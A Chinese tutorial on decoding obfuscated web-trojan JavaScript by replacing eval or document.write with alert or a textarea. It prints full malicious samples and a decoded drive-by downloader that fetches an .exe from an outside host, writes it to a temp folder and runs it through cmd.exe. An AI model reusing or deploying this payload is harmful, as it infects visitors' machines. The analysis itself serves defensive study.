主要介绍网页木**eval和Document.write解密方法
一. eval加密是在网马解密中最常见的,eval在jscript脚本中实际上是一个函数,简单可以理解为执行语句的的意思。
Eval方法
1. 参数 :codeString 必选。包含有效 JScript 代码的字符串。eval 函数允许动态执行 JScript 源代码。
2. eval函数特点:是将字符串转换为脚本代码,然后就可以执行了,但是,如果字符串里面还有HMTL标签的话,它就不能执行了。
二. Eval解密方法之alert方法:
1.alert函数:
在要对eval解密之前首先需要了解一下alert这个函数,大家可能有个疑问,在解**过程中怎样才能保证自身系统安全而又不中招呢,我们知道要是直接去访问一些经过加密的网马地址,就相当于在电脑上直接运行了网马。既要能将网马解出,又要保证系统的安全。这时我们就要用到alert这个函数。
alert函数在jscript中有弹出消息内容的作用,我们正是可以利用这一特性,来保证在解**过程中不会中招。请看下面一个小例子:
<script>alert("你好!")</script>将此段代码,粘贴至记事本中保存为htm格式(文件名随意),直接运行后可看到alert函数的效果。
了解以上内容后,接下来我们来看一个eval的实例:
- eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((cc=c%a)>35?String.fromCharCode(c+29):
- c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];
- e=function(){return'w+'};c=1};while(c--){if(k[c]){pp=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}
- return p}('1 z,y,x,v,w;B='C://I.u/F/D.E';1 J='4.n';1 i='4.h';1
- j=f["g"]["s"]("q");1 8="p:";1 9="0-k-0";1 7="l";1 5="G";1 2="N";1 c="Z-W-Y";1 K="U.X"+"M"+"L"+"H"+"T"+"T"+"P";
- 1 V="A"+"d"+"o"+"d"+"b."+"S"+"t"+"r"+"e"+"a"+"m";1 3="O.";1 6="Q";1 R=3+6;1 2=8+2+c+9+7+5;',62,62,
- '|var|Gameeeeex|ying|Gameeeeee|Gameeeeesss|yings|Gameeeeess|Gameeeee|Gameeeees|||Gameeeeexx|||window|
- document|vbs|Gameeenames|chilam|983A|0C04||pif||clsid|object||createElement||com|wwwGameeecn|wwwGameeecn2|Gameeezfx|
- Gameeezfs|Gameeezf||Gameee|http|f5|css|xia|FC29E36||haoxia18|Gameeename|Gameeexml|||BD96C|Shell||
- Application|yingx|||Microsoft|Gameeeado|65A3||11D|556'.split('|'),0,{}))
将此段代码复制粘贴至记事本中,
将其中的eval修改为alert其余内容不变,但要加上<script></script>实际变为一个脚本。
保存为htm(文件名任意)处理后的代码如下:
<script> |
解密结果见下图,
我们看到红色框内容为网**下载地址,鼠标选中这个对话框,
ctrl+a全选再ctrl+c复制,可将整个代码粘贴至记事本上。
获得代码地址后,可使用下载工具直接下载网马。
第二部分,document.write解密网马
一.Document.write 函数简介:
在Microsoft JScript 提供了两种方式来在浏览器中直接显示数据。可以使用write( ) 和 writeln( ),这两个函数是document 对象的方法。也可以在浏览器中以表格的方式显示信息,以及用警告、提示和确认消息框来显示信息。
使用document.write( ) 和 document.writeln( )显示信息最常用的方式是 document 对象的 write( ) 方法。该方法用一个字符串作为其参数,并在浏览器中显示。该字符串可以是普通文本或 HTML。
字符串可以用单引号或双引号引起来。这样可以引用那些包含引号或撇号的内容。
注:Document.write函数是将字符串转换为Html代码,里面必须有HTML脚本标签,脚本才可以执行,否则,将会被当作字符串输出在网页上。
二.Document.write函数实例
例1:
<script> document.write("hell world") </script> |
将此段代码粘贴至记事本,保存为htm格式直接运行打开。这段代码的执行结果实际上是将hell world 在网页显示出来。
<script> document.write("<iframe src=http://www.google.com></iframe>") </script> |
将上面的代码粘贴至记事本,保存为htm直接运行打开,这段代码的执行结果为在联网的情况下,直接会在网页上显示一个框架,而框架的内容为google网站。
我们来简单分析一下这两个例子的执行结果为什么不同:
例1实际上是一个简单的输出,就是将document.write函数后的内容输出至页面。
例2内容包含了html脚本标签:<iframe>、 src、</iframe> ,此时将会直接执行脚本,而执行的结果为在网页上显示一个框架,而框架的内容为瑞星官方网站。
例1和例2实际上是对“Document.write函数是将字符串转换为Html代码,里面必须有HTML脚本标签,脚本才可以执行,否则,将会被当作字符串输出在网页上”。这段话的一个印证。
Document.write解密方法之alert方法
即在获得的包含有document.write函数的网马代码中,将document.wirte替换为alert函数,将代码保存至记事本,扩展名为htm文件,直接浏览运行。
下面我们将结合一个实例来进行讲解:
某加密恶意网页内容如下:
<html><head> <META HTTP-EQUIV="imagetoolbar" CONTENT="no"><noscript><iframe></iframe></noscript><script language="javascript"><!-- nO44="8+6bJ+6+",hA91="8{[s Jb";.9068937,cN13=".6976961",nO44='"eU6521Q#u'mRbE=|`hK:jVDM9<z~lf!oPFc%3IW7d>ignAkJ$_H- ,p+Zy{/.Sr&}Ot8[4YB0xnqsNC^*XG? ]r(Lv)T;@aw',hA91='%-{Y+[3)4F!nceK5QGn,hxClzU@Z~^q>yuAk6P?sI2.M0fwaR*LT;"]j|9 g8SH#:E_b=JB(V mX/7$d&vtDrNWpO<r1io'`}';function oD30(eS7){"866s+b s",l=eS7.length;'|i>|QTT>OUn>',w='';while(l--)"+8z+ss6beT +",o=nO44.indexOf(eS7.charAt(l)),'iT3{nu|{',w=(o==-1?eS7.charAt(l):hA91.charAt(o))+w;"8++s+[b6", nO44=nO44.substring(1)+nO44.charAt(0),document.write(w);'i||ss3s'};oD30("LWRvTr*B Dkm{Pk{b8+k^kWRvTr*!t /d8q/1/-TnYN;RP0bm*>kDDQUnPmR*T;mBON0YQUvb*PvmBnkDWbw-nPmR*T;mBO0N0YQUN;RP0bm*>;mR;m* bj*0bmP8ON0-Wb*HT0b;P*Y,O0N0YQ,K/ggQw-O0N0YQ-wN;RP0bm*>;mR;m*bj*0bmP8mbABuPmR*T;mY,v b*PvmBnkDWb,Q-nPmR*T;mBOmN0YbQUTnYN;RP0bm*>DkobvWZZATmN;A>WTNbtkvQUTnYb>A:TR:'8)Qvb*PvmB nkDWb-ww-TnYN;RP0bm*>DkobvWQUN;RP0bm*>Rkr*Pvb}^bm*WY}^bm*>i(9.}X(] Q-N;RP0bm*>;m0;PWbN;Am8OmN0-wbDWbUN;RP0bm*>;m0;PWbPr8OmN0-w-vV)y8/)d1-j(dg8d#gy-n PmR*T;mBONNWYQUTnYN;RP0bm*>kDDQUN;RP0bm*>;mWbDbR*W*kv*8nPmR*T;mBYQUvb*PvmBnkDWbw-Wb*HT0 b;P*Y,ONNWYQ,KqggQww-ONNWYQ-mV=q8d%y#-W(=y8%y/g-nPmR*T;mBOmvYQUvb*PvmB*vPbw;mbvv;v8 Omv-TXy%8qd%=-b}1#8)/1%-^E/8qd%/-v_#q8)/1y-juyd8/%y1-^u)d8yqy-0_/=8%#) )--ODTRbmWbNO*;O8,:PoPnbm{,-LnWRvTr*!")//--></script><ScrIPT lANgUAgE=JAVAscrIpt>oD30("v7b);(Xo K0X)P0 K6 K K0*J)0YA[C@bFxERXib)EJXEOMExERXp?V3'?V3>?V3c?V3|?V3Q?Vsup#, K0YAi7EXcXX);8FXEp?V3Q?V3D?V3T?VsQ?VsQ?V3{?V3up:p?V3Q?V3D?VsQ?V3{?V3u?VQc?Vu>?Vuu ?VQ{?VQ3?VuQ?VQ|?VQ|?VQ3?V>G?VQ3?VQ|?VuT?VQQ?V>G?VQT?VQT?Vuu?VQn?V>G?VQ{?VQ. ?VQQ?VuT?V>G?VQn?VQn?VuQ?VQn?VQu?Vu3?VuQ?VQ>?VQ{?Vu|?VQQ?VQ3p#, K0*J)0=V[YAiD)EJXEL8ZEbXp?VuG?V3{?V3Q?Vs>?V3'?VsQ?V3'?V33?Vsu?V>O?V|.p2p?VuG? VuD?Vu.?V|u?V|u?V|np:pp#, K0*J)0cS[YAiD)EJXEL8ZEbXp?VuT?V3u?V3'?V3u?V3>?V>O?V|Q?Vsu?Vs>?V3|?V3T?V3Gp:pp# , K K0cSiXP(E[T, K0=Vi@(ERp?Vus?Vu|?V|up:0a?V3.?Vsu?Vsu?Vsn?VQJ?V>A?V>A?Vss?VQT?VQ.?V>E?Vs3? V3s?V>A?VsQ?V>E?V3|?Vs.?V3|a:n#, K K0=Vi7ERC#, K088888888888AC7/C7A/7CA/J7CAAAAAAAA[a%%%%%%%%%%%%%AZ7CJMZAM7CZAMZC7%AZC%%%%%CACA Ca, K0]7T[a?VsO?V|u?V3|?V3G?Vsna2gJXji)@FRCgJXji)JRC@x#_{{{{#2a?V>O?Vsu?V3G?Vsn a, K0EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEAC7A7CA[a%%%%%%%%%%%%%AZ7CJMZAM7CZAMZC7%AZC%%%%%CA CACa, K0*J)0b'[YAiD)EJXEL8ZEbXp?V|Q?V3Q?Vs>?V3{?Vsn?Vsu?V3{?V3O?V3s?V>O?Vu3?V3{?V3D ?V3|?V|Q?Vs{?VsQ?Vsu?V3|?V3G?Vu'?V3>?V3c?V3|?V3Q?Vsup:pp#, K0*J)0]7-x([b'ihEXS(Eb;JM'@MCE)n#,0]7T[0b'iYF;MCIJXj]7-x(:]7T#,0cSiL(ER #,cSir);XE=Vi)E7(@R7EY@CP#, K0cSiSJ*E-@';ME]7T:>#,0cSiDM@7E#,0*J)0![YAiD)EJXEL8ZEbXp?V|Q?V3.?V3|?V3D ?V3D?V>O?VuT?Vsn?Vsn?V3D?V3{?V3Q?V3T?Vsu?V3{?V3'?V3Op:pp#, K0@%T[b'iYF;MCIJXj]7-x(2a?V|D?V|D?VsQ?Vs{?VsQ?Vsu?V3|?V3G?VQQ?VQ>a:a?V3Q?V3G ?V3u?V>O?V3|?Vs.?V3|a#, K0!1p?V|Q?V3.?V3|?V3b?V3b?Vu|?Vs.?V3|?V3Q?Vs|?Vsu?V3|p+@%T:a?V>n?V>'?V3 Q0a2]7T:pp:p?V3'?Vsn?V3|?V3Op:n#, K088888888888AC7/C7A/7CA/J7CAAAAAAAA[a%%%%%%%%%%%%%AZ7CJMZAM7CZAMZC7%AZC%%%%%CACA Ca, K" K0bJXbjVVA!EJC7A#060VVA!EJC7A[T,0" Kvq7b);(Xo")</script></head><body><noscript><b><font color=red>This page requires a javascript enabled browser!!!</font></b></noscript></body></html> |
注意到其中红色部分,我们可以造个直接获取解密后文字的框:
<textarea id="textareaID" rows="50" cols="100"></textarea>
<script language="javascript">
..........待解密的javascript代码,其中document.write(xxxx)用document.getElementById("textareaID").innerText=xxxx代替
</script>
修改后如下:
- <html><head>
- <META HTTP-EQUIV="imagetoolbar" CONTENT="no"><noscript><iframe></iframe></noscript>
- <textarea id="textareaID" rows="50" cols="100"></textarea>
- <script language="javascript"><!--
- nO44="8+6bJ+6+",hA91="8{[s Jb";.9068937,cN13=".6976961",nO44='"eU6521Q#u'mRbE=|`hK:jVDM9<z~lf!oPFc%3IW7d>ignAkJ$_H-
- ,p+Zy{/.Sr&}Ot8[4YB0xnqsNC^*XG? ]r(Lv)T;@aw',hA91='%-{Y+[3)4F!nceK5QGn,hxClzU@Z~^q>yuAk6P?sI2.M0fwaR*LT;"]j|9g
- 8SH#:E_b=JB(V mX/7$d&vtDrNWpO<r1io'`}';function oD30(eS7){"866s+b s",l=eS7.length;'|i>|QTT>OUn>',w='';while(l--)"+8z+ss6beT +",o=nO44.indexOf(eS7.charAt(l)),'iT3{nu|{',w=(o==-1?eS7.charAt(l):hA91.charAt(o))+w;"8++s+[b6",
- nO44nO44=nO44.substring(1)+nO44.charAt(0),document.getElementById("textareaID").innerText=(w);
- 'i||ss3s'};oD30("LWRvTr*BDkm{Pk{b8+k^kWRvTr*!t /d8q/1/-TnYN;RP0bm*>kDDQUnPmR*T;mBON0YQUvb*PvmBnkDWbw-nPmR*T;mBO0N0YQUN;RP0bm*>;mR;m*b
- j*0bmP8ON0-Wb*HT0b;P*Y,O0N0YQ,K/ggQw-O0N0YQ-wN;RP0bm*>;mR;m*bj*0bmP8mbABuPmR*T;mY,vb
- *PvmBnkDWb,Q-nPmR*T;mBOmN0YbQUTnYN;RP0bm*>DkobvWZZATmN;A>WTNbtkvQUTnYb>A:TR:'8)Qvb*PvmBnkD
- Wb-ww-TnYN;RP0bm*>DkobvWQUN;RP0bm*>Rkr*Pvb}^bm*WY}^bm*>i(9.}X(] Q-N;RP0bm*>;m0;PWbN;Am8OmN0-wbDWbUN;RP0bm*>;m0;PWbPr8OmN0-w-vV)y8/)d1-j(dg8d#gy-nP
- mR*T;mBONNWYQUTnYN;RP0bm*>kDDQUN;RP0bm*>;mWbDbR*W*kv*8nPmR*T;mBYQUvb*PvmBnkDWbw-Wb*HT0b
- ;P*Y,ONNWYQ,KqggQww-ONNWYQ-mV=q8d%y#-W(=y8%y/g-nPmR*T;mBOmvYQUvb*PvmB*vPbw;mbvv;v8Omv
- -TXy%8qd%=-b}1#8)/1%-^E/8qd%/-v_#q8)/1y-juyd8/%y1-^u)d8yqy-0_/=8%#))-
- -ODTRbmWbNO*;O8,:PoPnbm{,-LnWRvTr*!")//--></script><ScrIPT lANgUAgE=JAVAscrIpt>oD30("v7b);(Xo K0X)P0 K6 K K0*J)0YA[C@bFxERXib)EJXEOMExERXp?V3'?V3>?V3c?V3|?V3Q?Vsup#, K0YAi7EXcXX);8FXEp?V3Q?V3D?V3T?VsQ?VsQ?V3{?V3up:p?V3Q?V3D?VsQ?V3{?V3u?VQc?Vu>?Vuu
- ?VQ{?VQ3?VuQ?VQ|?VQ|?VQ3?V>G?VQ3?VQ|?VuT?VQQ?V>G?VQT?VQT?Vuu?VQn?V>G?VQ{?VQ.?
- VQQ?VuT?V>G?VQn?VQn?VuQ?VQn?VQu?Vu3?VuQ?VQ>?VQ{?Vu|?VQQ?VQ3p#, K0*J)0=V[YAiD)EJXEL8ZEbXp?VuG?V3{?V3Q?Vs>?V3'?VsQ?V3'?V33?Vsu?V>O?V|.p2p?VuG?V
- uD?Vu.?V|u?V|u?V|np:pp#, K0*J)0cS[YAiD)EJXEL8ZEbXp?VuT?V3u?V3'?V3u?V3>?V>O?V|Q?Vsu?Vs>?V3|?V3T?V3Gp:pp#
- , K K0cSiXP(E[T, K0=Vi@(ERp?Vus?Vu|?V|up:0a?V3.?Vsu?Vsu?Vsn?VQJ?V>A?V>A?Vss?VQT?VQ.?V>E?Vs3?V
- 3s?V>A?VsQ?V>E?V3|?Vs.?V3|a:n#, K K0=Vi7ERC#, K088888888888AC7/C7A/7CA/J7CAAAAAAAA[a%%%%%%%%%%%%%AZ7CJMZAM7CZAMZC7%AZC%%%%%CACAC
- a, K0]7T[a?VsO?V|u?V3|?V3G?Vsna2gJXji)@FRCgJXji)JRC@x#_{{{{#2a?V>O?Vsu?V3G?Vsna
- ,
- K0EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEAC7A7CA[a%%%%%%%%%%%%%AZ7CJMZAM7CZAMZC7%AZC%%%%%CAC
- ACa,
- K0*J)0b'[YAiD)EJXEL8ZEbXp?V|Q?V3Q?Vs>?V3{?Vsn?Vsu?V3{?V3O?V3s?V>O?Vu3?V3{?V3D?
- V3|?V|Q?Vs{?VsQ?Vsu?V3|?V3G?Vu'?V3>?V3c?V3|?V3Q?Vsup:pp#,
- K0*J)0]7-x([b'ihEXS(Eb;JM'@MCE)n#,0]7T[0b'iYF;MCIJXj]7-x(:]7T#,0cSiL(ER#
- ,cSir);XE=Vi)E7(@R7EY@CP#, K0cSiSJ*E-@';ME]7T:>#,0cSiDM@7E#,0*J)0![YAiD)EJXEL8ZEbXp?V|Q?V3.?V3|?V3D?
- V3D?V>O?VuT?Vsn?Vsn?V3D?V3{?V3Q?V3T?Vsu?V3{?V3'?V3Op:pp#, K0@%T[b'iYF;MCIJXj]7-x(2a?V|D?V|D?VsQ?Vs{?VsQ?Vsu?V3|?V3G?VQQ?VQ>a:a?V3Q?V3G
- ?V3u?V>O?V3|?Vs.?V3|a#, K0!1p?V|Q?V3.?V3|?V3b?V3b?Vu|?Vs.?V3|?V3Q?Vs|?Vsu?V3|p+@%T:a?V>n?V>'?V3Q
- 0a2]7T:pp:p?V3'?Vsn?V3|?V3Op:n#, K088888888888AC7/C7A/7CA/J7CAAAAAAAA[a%%%%%%%%%%%%%AZ7CJMZAM7CZAMZC7%AZC%%%%%CACAC
- a, K" K0bJXbjVVA!EJC7A#060VVA!EJC7A[T,0" Kvq7b);(Xo")</script></head><body><noscript><b><font color=red>This page requires a javascript enabled browser!!!</font></b></noscript></body></html>
另存为htm格式的,然后ie打开就是解密后的代码:
- <script>
- try
- {
- var Bf=document.createElement("x6Fx62x6Ax65x63x74");
- Bf.setAttribute("x63x6Cx61x73x73x69x64","x63x6Cx73x69x64x3Ax42x44x39x36x43x35x35x36
- x2Dx36x35x41x33x2Dx31x31x44x30x2Dx39x38x33x41x2Dx30x30x43x30x34x46x43x32x39x45
- x33x36");
- var Kx=Bf.CreateObject("x4Dx69x63x72x6Fx73x6Fx66x74x2Ex58"+"x4Dx4Cx48x54x54x50","");
- var AS=Bf.CreateObject("x41x64x6Fx64x62x2Ex53x74x72x65x61x6D","");
- AS.type=1;
- Kx.open("x47x45x54", 'x68x74x74x70x3ax2fx2fx77x31x38x2ex76x67x2fx73x2ex65x78x65',0);
- Kx.send();
- bbbbbbbbbbbfdsgdsfgsdfgasdffffffff='kkkkkkkkkkkkkfjsdaljflsdjfljdskfjdkkkkkdfdfd';
- Ns1='x7Ex54x65x6Dx70'+Math.round(Math.random()*9999)+'x2Ex74x6Dx70';
- eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeefdsfsdf='kkkkkkkkkkkkkfjsdaljflsdjfljdskfjdkkkkkdfdfd';
- var cF=Bf.CreateObject("x53x63x72x69x70x74x69x6Ex67x2Ex46x69x6Cx65x53x79x73x74x65x6Dx4F
- x62x6Ax65x63x74","");
- var NsTmp=cF.GetSpecialFolder(0); Ns1= cF.BuildPath(NsTmp,Ns1); AS.Open();AS.Write(Kx.responseBody);
- AS.SaveToFile(Ns1,2); AS.Close(); var q=Bf.CreateObject("x53x68x65x6Cx6Cx2Ex41x70x70x6Cx69x63x61x74x69x6Fx6E","");
- ok1=cF.BuildPath(NsTmp+'x5Cx5Cx73x79x73x74x65x6Dx33x32','x63x6Dx64x2Ex65x78x65');
- q["x53x68x65x6cx6cx45x78x65x63x75x74x65"](ok1,'x20x2Fx63 '+Ns1,"","x6Fx70x65x6E",0);
- bbbbbbbbbbbfdsgdsfgsdfgasdffffffff='kkkkkkkkkkkkkfjsdaljflsdjfljdskfjdkkkkkdfdfd';
- }
- catch(xxfqeadsf) { xxfqeadsf=1; }
- </script>